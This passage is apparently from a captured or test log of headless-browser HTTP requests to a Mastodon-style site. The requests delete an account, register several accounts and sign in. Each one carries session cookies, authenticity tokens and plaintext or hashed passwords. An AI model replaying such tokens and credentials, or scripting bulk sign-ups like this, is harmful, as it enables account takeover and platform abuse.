_session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltWmhOR1UwWm1GbE1EQXhPREpqTVRZM1pERmpNVEkxWWpNME9ESTFPREF6SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDM6MTE6MjkuMjI1WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--b4b47585b218826e926fd3ca365dbfe1fd3a0a22; _mastodon_session=hImYrelJ98PY%2F%2BEqPWWYJDnP0Tpm1T3Q67oLrhZHIlRNqQuVGeENvLTe%2FWmNr8VqGS5hojHeGyhUuJHlorXulxmTxe%2Fl6%2FRMlRgB4AlUEhGKHxEsin0O%2FScYX0hqW2gOPfk6GtBEfbkPCkv71r94d9znprr5xdPyo%2FmOEGc4rk16AKqY9JQJDhQhtzK1Dz%2Fa7dkS2JeJx6Sbrc6aOlVCS1nqNylDXjidlJNtowfCnVAVeF8QUZ94NuBqYQ%2BYEdM%2FsOgsq6WE8L2rnCfTKSEKkQ5wzu4odiOSFFb02Giv%2B1K%2FAhnpqkGK9cxlIlwLsT8wRCBYRCFPMrNDR86FW1rhokPOoHpSIyKnL%2FtmasDJfo9rhR4kQusT2Dd46DjEH7jNLNcheA8%2F5mDL--2o%2F8bYD6srmF1Gxe--OZU8Fw9NAUDRzOYmPqaxSQ%3D%3D"], "body": "_method=delete&authenticity_token=aUVriOgEE0wC9HCytvZMiXnrX5aNNCPPlQdUPUwmAESxE2KuT8i6hjFQkOPOUkgP-MDchvQseHUqOYQ1_LIXQg&form_delete_confirmation%5Busername%5D=bob&form_delete_confirmation%5Bpassword%5D=ls+-la+shows+the+.htaccess+file&button="}
{"method": "POST", "target": "/auth", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 548", "Cache-Control: max-age=0", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Origin: https://example.com", "Accept-Language: en-US", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/auth/sign_up", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _mastodon_session=pbANYcsmJSK7W1xSib4jkWB2fU2FYmc82mEC3IYpKdyFP8YDl4%2BaM2nGl7xQDAR5n%2FECzMLb0DlPLdGNld0yOUY%2Fc2T9fApszmiH4vpWFWwSAOw0I1zaIQdhXCkgtSCLTeKN6i6isRZ8v92%2FWYp3Nfn%2FhkXsRBtZJAv39yHrhq%2BeiCkJZBRhCroiHKw7yYWUEmtNG6BGvuMQJLgqJU74diNAPdW1vv3GLkBK7F%2Bx%2F0dLxJ23AlO9L8wnDqPcRMVWJiCW%2FWM1xOPV7vj81hw33yTbwgEbrk%2BylQ5RP0VCdDX6aOUivQpEqgvMqSLALbPavDsHtRZyqIp92q%2BCBVZl52NxcitBHop2KhI3nO32dvgJ1FkCekIP8EBBYUKF--LuPI%2BAk9nyZT66Bl--lCqK1dq3PjHBUHGZICcwcw%3D%3D"], "body": "authenticity_token=WbXeHEIg1quzaZbSHd_3CQmtuXVCrg1MwS00gGTNkxqJcZCzaMrkoUtTmfEQ1DICXRj051Ngdo95CreQAFRBHg&user%5Baccount_attributes%5D%5Busername%5D=morning_walks&user%5Bemail%5D=morning_walks%40example.com&user%5Bpassword%5D=ls+-la+shows+the+.htaccess+file&user%5Bpassword_confirmation%5D=ls+-la+shows+the+.htaccess+file&user%5Bconfirm_password%5D=&user%5Bwebsite%5D=&user%5Binvite_request_attributes%5D%5Btext%5D=python3+and+powershell+scripts+that+edit+.htaccess&accept=&user%5Binvite_code%5D=&user%5Bagreement%5D=0&user%5Bagreement%5D=1&button="}
{"method": "POST", "target": "/auth", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 423", "Cache-Control: max-age=0", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Origin: https://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/auth/sign_up", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _mastodon_session=BzSfYGxyQDsLHb%2Bf54xvkU7zDrirNTbfYrVdNRSun13nMUaRAY7q9RFPBh46Nw5aUI8xxu%2BCBgeRraxCyKUl9Z32ZAb%2FeRrCHzXFDn9bStl41cktZKmy8P4bTAh%2FY4j4c2fxhIIZ0P7wuUnUkzIT8W1GAc%2FxReDGXzlfmP3%2FKlKLsvjxC6yqc2F8N1eKVtiG87y6dg1IW3M12lNBD%2BWLrpmNjG%2F7vYOzzXeFGtqeupf83da83igN6w8tRpsL0%2FnuNpCOBPjZtITEuaC8cih4TxweDiLWjmnUFz%2F3SB9FoUwqWOiE%2BNZwd6xNvL2kh6RwLnKFGm35jO0l2gm57FILIy6znj3dfbX25b%2F9UIfXKjOWcm92DlbFTreNHgmk--B3u4Ehn50vGEl4EV--NC8TBUPmAiv%2Bp8HPq8jp9Q%3D%3D"], "body": "authenticity_token=6TvBMH60Ug8xEFcVK5C6ea4Xw_foaQjKfsHy0A6Xq7WJYU8g7i9fpHY9tL-KHbdZyzb2OoqHY4-D8dr9akQw5A&user%5Baccount_attributes%5D%5Busername%5D=river_walker&user%5Bemail%5D=river.walker%40example.com&user%5Bpassword%5D=river+walk+at+dawn&user%5Bpassword_confirmation%5D=river+walk+at+dawn&user%5Bconfirm_password%5D=&user%5Bwebsite%5D=&accept=&user%5Binvite_code%5D=&user%5Bagreement%5D=0&user%5Bagreement%5D=1&button="}
{"method": "POST", "target": "/auth", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 419", "Cache-Control: max-age=0", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Origin: https://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/auth/sign_up", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _mastodon_session=9fxGDnaJUy6P5%2FupUfgV22RwxeuLjA7q4Lmwspt38SNhN8eRRh9AGRkqWpkeg9zsYE0%2F2GQxjd6lH3%2F71%2F%2Bsse860vR0CUxSw7pn%2Bqmtqn%2BHlnwzGCL%2FhKZ0NbnAm%2B0SuLYMAQap1Xlx7JGcU1NECtjkURA2FNbBjnVt08IbE8DTE7UVD5wmTUsSnwukkYp7glYc9%2F%2FQiB3a%2FulubQcp%2F9aqqJzIyGrdmxp%2FUwIivohWisiZVKmHyx%2B5NDPsdFJHABqNVX8KOvV%2BtjyTK6p7PxkXHSX%2FPKMxzqiRhsMXUGLb8mQpVf1RlMsWx0FYpaQ56h4mZoD%2FcDv9ceV%2FytRCVKSD%2B0WufwJJvTtDoBrugPslybr8f03n0j%2BWYty3--UNb4xTJDMmiz%2BDRB--wZoAhi0AGiyykyrIJ2nSpA%3D%3D"], "body": "authenticity_token=YZjNGKXHNncbotH7qCpgn2myKWmyRg2DxKCWdFYeR84n-0pcNy1KP9Hf0JPmDZB4O3rLtBsiIWhItWxnBwxjXg&user%5Baccount_attributes%5D%5Busername%5D=snake_charmer&user%5Bemail%5D=python3%40example.com&user%5Bpassword%5D=river+walk+at+dawn&user%5Bpassword_confirmation%5D=river+walk+at+dawn&user%5Bconfirm_password%5D=&user%5Bwebsite%5D=&accept=&user%5Binvite_code%5D=&user%5Bagreement%5D=0&user%5Bagreement%5D=1&button="}
{"method": "POST", "target": "/auth", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 420", "Cache-Control: max-age=0", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Origin: https://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/auth/sign_up", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _mastodon_session=P9xrctFTdAcuMCSY1ClaheVF1Wp4Vi7aBmTL7DrL1SctLXrLvZ1oh2IzbsnGLGgGirUznbbBoXBSky8shxPC5C7jwkiFDuNoY0ozqnELY5ioUFpUf1rq1pbPlJ%2FpcYtrxn9FiCmso2wlUnFKyuXiZx%2FTDX%2BhXAWvsTHqdJ5L3fL2QVC2CdIM1Rh1MTKv3SWbR1pPQjbZR06dnoA82KKeQMSRHr4qKQMErQQNjivJNVrO0KxW9DJQdIU6c%2FjzrjB9KINUT8NjD7NICDQcN3HfREI5aaLrUkAGNIWHM3zgmYBtn7xAZ7LLjCjO6jqgxh%2FaFPk7tHRAOOYdPj33sh%2FeboEmaQksYVdUgXnv1ntFaVQBpLCaWHrabHd%2BszDa--0xivXUNrhbOYJ2pW--JYET7z3%2BJ1dDWG33yT2l6A%3D%3D"], "body": "authenticity_token=BKh4vqecmRxWhTI2Lpci0Yl7Xe-1Pe0M_dkAgZk5BY6vMYP-NpzDlCUQZZunx_2gMsOk0PHEljcHR9BsPgoeUg&user%5Baccount_attributes%5D%5Busername%5D=shell_notes&user%5Bemail%5D=powershell%40example.com&user%5Bpassword%5D=river+walk+at+dawn&user%5Bpassword_confirmation%5D=river+walk+at+dawn&user%5Bconfirm_password%5D=&user%5Bwebsite%5D=&accept=&user%5Binvite_code%5D=&user%5Bagreement%5D=0&user%5Bagreement%5D=1&button="}
{"method": "POST", "target": "/auth", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 415", "Cache-Control: max-age=0", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Origin: https://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/auth/sign_up", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _mastodon_session=geJlsII3AQRNWgQU1CgDXMy%2BbcXfuniolP%2Fqc5tDDm8%2B0wRLQnQc96fhTpFEzBnWQT2KW1HZFTHLJ93a78jbVnhyMlXBRWrDQwvcuBDZC6atGDW0PVAa4Hb7jyjPumehRbFLE4ysC3AEmwoIWyeEhfnIUvhkfgT1A%2BCjgGOnqInaYR9Jh4XldwopETt7K7B5potdvszXXLF0yUtFeaQaaT1t%2FajCTaCr2DqIU2Amv5w0NLrPffimA3g41Jggq5t53m6vGXDaZU82XxJ3bZpnwdV6JwsxEaQvRbp3g2weTc2tvQgalWYFLyfNbMPY6ztdm9XxZgpcyqjxAmpWtLiCoSpr%2BmO%2BGvV49YxbZjXDPfBkUs9Slmqmf08HZaID--l1kTbQSpXdfiOYs%2B--k8X8PqoFB8olmdBc2ssmLg%3D%3D"], "body": "authenticity_token=pimyeVFDUVWbfXM92X5y3W-dlmgsjwljWKjQ8kZWm2bWfHt0L6DxlD3FRRSEsbgW0MG0XtFIAJIuVbf1OPbJwA&user%5Baccount_attributes%5D%5Busername%5D=list_keeper&user%5Bemail%5D=ls-la%40example.com&user%5Bpassword%5D=river+walk+at+dawn&user%5Bpassword_confirmation%5D=river+walk+at+dawn&user%5Bconfirm_password%5D=&user%5Bwebsite%5D=&accept=&user%5Binvite_code%5D=&user%5Bagreement%5D=0&user%5Bagreement%5D=1&button="}
{"method": "POST", "target": "/auth", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 417", "Cache-Control: max-age=0", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Origin: https://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/auth/sign_up", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _mastodon_session=vb8PzWlK0eb7wzVjSvqqlb2WVxoIXLf29EjSJ0Elqcyp4deEjqcsHEvYP%2FNzSQrFkNJWmAmQrAdniXilamdqIZRAQGSTRNdJhwX4sy842QH5v3Flm4F%2FlZs42TyDo6glgLE%2B4cwHk4llViwCjoYRHIkkwlRW6JihQyWkQGNB7XrWsTflZ0hQ7UuCI%2BmFMf3YZ5deCjJ51BHh8l%2ByiQBmvs6xXtMfY2eLzJP9bVTIIkWwmCk0i3yL83fj7eImga%2BWCduOtP%2FBUorRYP%2Bsgn6IGzdrbmhqV5vQgdckkpfEdEqgK5OKLac%2Bgp4RU2%2FJnuAQVEbJuufWG3MjqIMjfbvZ8vDT%2FGZkadSmd8wyCQaqOeAmr2RCvHoh%2BAAKEb%2B0--uI4n00hYvvgibOU2--43IEqCSj%2BnHcBQ1qoVGwag%3D%3D"], "body": "authenticity_token=zYuV7Nu8Y8f9EgVq03Wwrb7EUbtffJlTVhoZ1NXCQvemDx2lIT-PCMGoniKM_RMM5iFG8zL6w92knuUulwNM-A&user%5Baccount_attributes%5D%5Busername%5D=web_keeper&user%5Bemail%5D=htaccess%40example.com&user%5Bpassword%5D=river+walk+at+dawn&user%5Bpassword_confirmation%5D=river+walk+at+dawn&user%5Bconfirm_password%5D=&user%5Bwebsite%5D=&accept=&user%5Binvite_code%5D=&user%5Bagreement%5D=0&user%5Bagreement%5D=1&button="}
{"method": "POST", "target": "/auth", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 425", "Cache-Control: max-age=0", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Origin: https://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/auth/sign_up", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _mastodon_session=vF0GEzKKCKQ%2FCNzsYrj0WxhxvXZRZGO66brEDxtKDu3kJOMB1uLGD60H%2BWyrlxkX5wfg3H2CEUEBuJ0LWz%2F%2F4GFr7ctkxFSY%2B5Fun5C572mtZeSCnvIpYPz5OHfxIfVT9lmo5Kw01NNfGBaRkqXuMHMlHDicu3AiNVnA20Dt7iO1govzRMU2a4XfnDwImMqQBM0ArRf6gIs1CT7wwXq4g9%2B8WD9jQ31wwmBW%2FRpy5Vll1Qqr5VPv0WNyNhGcXC3taPQZnfZsXpMNuu0ydfho9bkhIkS6Iw05sNHpHE5BVK%2B7uOtWfISLVkFb1S9nythMAPTPrI8S1pqycCnIXpiWjkaeDhb1nhpwAVD%2BuIam4vU7o%2BM%2FEap9yXVzLowB--Oo%2BZ20ODoy5ziMqd--0kUqOPJSpTjTeKP0mPEGuQ%3D%3D"], "body": "authenticity_token=RRxTKuoJ--EMefz7JfASZGs6qCvYiZDDN46sALlLgcVmsYPW6VLqhrMLRFwHDWDBxpkY7aSzan2M2HgSV6io1g&user%5Baccount_attributes%5D%5Busername%5D=notes_keeper&user%5Bemail%5D=notes.htaccess%40example.com&user%5Bpassword%5D=river+walk+at+dawn&user%5Bpassword_confirmation%5D=river+walk+at+dawn&user%5Bconfirm_password%5D=&user%5Bwebsite%5D=&accept=&user%5Binvite_code%5D=&user%5Bagreement%5D=0&user%5Bagreement%5D=1&button="}
{"method": "POST", "target": "/auth", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 419", "Cache-Control: max-age=0", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Origin: https://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/auth/sign_up", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _mastodon_session=M2z%2Fm%2BSZOzs1UFLwO36y%2BvHU%2BDx67YmbD%2BiOQYv5Wkd44Ujcca69fmFfOnN55Za9rE2%2FyEgDNPVelsnbehNPniXFVv3BT%2Bn%2BS8fTtWijRXEaSweO3szQt848QWFtp%2FcQTkGzky4iBvgZsPqPLnsX3V9RgM7WlJFwvK99MU2Msi3q5IOA9kqgblZhpie13HXGDclCIdMXKZAnO6kZMZ2UdzV6g7gwU2VYnHt%2F3vrwpxeszfdjk4V9HzoADNvO6W2bd8%2BMwVZ89FKW08Th4osRE3thPMs1jQANRfDEqhIoMVGFXonynBjBF%2FePoKjVVp1MkqyHAf3fPOUCU48n5shE1MhX33xMs%2FEwpLqXHjt4LDvJsQREZqti%2BzIIvhlc--Qr0ZZKxzdfBRgyBn--HQXSsN2nfe3wP2ALRIG52w%3D%3D"], "body": "authenticity_token=i_kCx3OTp2u9LD3ZiS2hYdUpKablxBABcHmGkUOQ4PxpZ0LKFmaVg2FCor8C2eY6gklGF2IOLz8yRpW_WKPS6Q&user%5Baccount_attributes%5D%5Busername%5D=jane_doe&user%5Bemail%5D=jane.profile%40example.com&user%5Bpassword%5D=river+walk+at+dawn&user%5Bpassword_confirmation%5D=river+walk+at+dawn&user%5Bconfirm_password%5D=&user%5Bwebsite%5D=&accept=&user%5Binvite_code%5D=&user%5Bagreement%5D=0&user%5Bagreement%5D=1&button="}
{"method": "POST", "target": "/auth/sign_in", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 203", "Cache-Control: max-age=0", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Origin: https://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/auth/sign_in", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _mastodon_session=o1e7dhjGvgxwcsifl1ecgUt1%2FAvzlxWhJIx8cSJo1eYg41yWmFvZB4OFlbjvFCv1FksdiraegpzG7dfEurGH4jLP5HjFBzis8EAHFvbvByZ0DsVD0zcT8sYbMiGJZ0e6gKDo4s4%2FyDZB62f%2B7985VUGvJepD8RmYiSbxwEJbOkOeb4Prq24pwYUOeie94tfHeiy%2ByqRx1Yzb%2Fs8XOxqJM2OmQId76stDvRvOD1xi0DbubhwhTkx%2F6H5Xu6rA71VG6uPQF%2F6uv8%2B%2BsLU%2BcdInOZiaT21%2BX2084A%3D%3D--0VyhNV877UlOFlZL--SDrBj3L5kjLOpi0cODL%2Fug%3D%3D"], "body": "authenticity_token=MFFMVyCA4yDlS5_I5Lc6rsjXcKtMYPcZiyZMcKE_a8jQW7oQtURKdDOe9KBW1L2n_dED4V6v0URhHkSPFqOLMA&user%5Bemail%5D=python3%40example.com&user%5Bpassword%5D=3b7f7501c34aa6ec675a10d56fd40c0b&button="}
{"method": "POST", "target": "/auth/sign_in", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 206", "Cache-Control: max-age=0", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Origin: https://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/auth/sign_in", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _mastodon_session=OsPZG6jraaZrlor8E21igqQTGmJj3iroGT3LClUtQ%2FvfZ8KUVTlP1gFIUZGL7tA4RKoAqufM4h3gc0f9iHkW1iBN4Zzy0P1EsJApBxmdhA5jWjykmlmDkjbl3XBpC2bjSfEclHMDaFdxeDsvrRpCnPI8e%2FOHHf2dPKTXFwPy3uXJNbMErwBXYkIj5LJ26ho0NV2aaK4cBpBiIrbL3fBGNJE1xIeNr0RfQb4SDJFajs%2Fajocj8pqMYwh5Ee%2BR1GJxMTbrP%2BAQNx4Flwxmmw%2FyE0b0AsREZsGuAA%3D%3D--a2UepQY3UObgLWTr--Hi6YPBdW0CU9j2frkzkeHA%3D%3D"], "body": "authenticity_token=PYFWxjQiwc5UwMK7NZgRoU6vgGXRkn_EDKp_yCxPGVq4DuzKjBXWord55DAx9sbqkELSr25IgTDgfCWpSvmRbg&user%5Bemail%5D=powershell%40example.com&user%5Bpassword%5D=b020e31ede8445291808e84d0d4b0b39&button="}
{"method": "POST", "target": "/auth/sign_in", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 208", "Cache-Control: max-age=0", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Origin: https://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/auth/sign_in", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _mastodon_session=GQG7th4SSFJJptboyXQ2nHbPzeVgYr5siGKXLEZdC1Pr4J23PYsrhLzFVLJmqgtqCyGBfgvEUv9c53bD8%2Fo3spsYbtMO3aJ11fZ0SN0FzGm%2BhQG8NB1tXkwloULmycgyIwKcocIbVF0BVAuvEnKT%2FEyw%2B5fOHUBnPaHVfdwzPUhnLI8B5qoT9fNGH6%2Bg76e467c1FFktpmrkTXlj%2FIJPmlt8sDRv9bcTopBm5%2BJdDSOs2XZT2FjcKVlgKj5f9jn7gSvDMXimkxmTGnlO3gWlN6zdEMveFAbjUg%3D%3D--iLCeyhs89gQ%2F0a20--HCAgEQsJ9Sqct7delCVdaA%3D%3D"], "body": "authenticity_token=0BLTgaOX0KtQd9oJd9t_iJ3DuS4pc9mvLJ5d-1y-1hsU0d51EBPJchQyu-8UdpUXq3sldu-e9dU55qgJNa6stw&user%5Bemail%5D=jane.profile%40example.com&user%5Bpassword%5D=5ceccf6b6ec8b568a106c73028166d0a&button="}
{"method": "POST", "target": "/auth/sign_in", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 210", "Cache-Control: max-age=0", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Origin: https://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/auth/sign_in", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _mastodon_session=7jLd4egwOOot24vVspS3msMFVmmgSDH%2B8DEk09JyMVMsfgPUxNnD%2BE%2BEMO%2Fj75RdSC5OAN9461M7MrRycrLjJdSDrRhcVKBdDbEUm1bEIj7rx71elBJ8yJTglOYOFTtu6LzmOzgL03p0GGVsvQxc63JNnYbAIkKmNPN6%2BkdDbfdYU1PThx90MFROLgMBpYdUn7jloZep0UozcG4zreT4uZgSBDUn4lSsrT5KADjawiiac%2BkM2w1E6MSjWP8e10RlD4K6KbA%2B1gFT1rHfyFqC3rpa%2BqWUwSAxag%3D%3D--bP9FNxr5vUpKFjZd--in67PoQ14HMlhRU4%2FHolSg%3D%3D"], "body": "authenticity_token=LgSpvc7spqgXNeuzbkL5jNZfxQVFU-7ZGmmdupSr4fNKK82qvoiAFQoauw2SjbRopL_9ReZ_Vg5LXA0BOHvOCw&user%5Bemail%5D=notes.htaccess%40example.com&user%5Bpassword%5D=ec379830ac6e1374cdae7f9bca09c16f&button="}
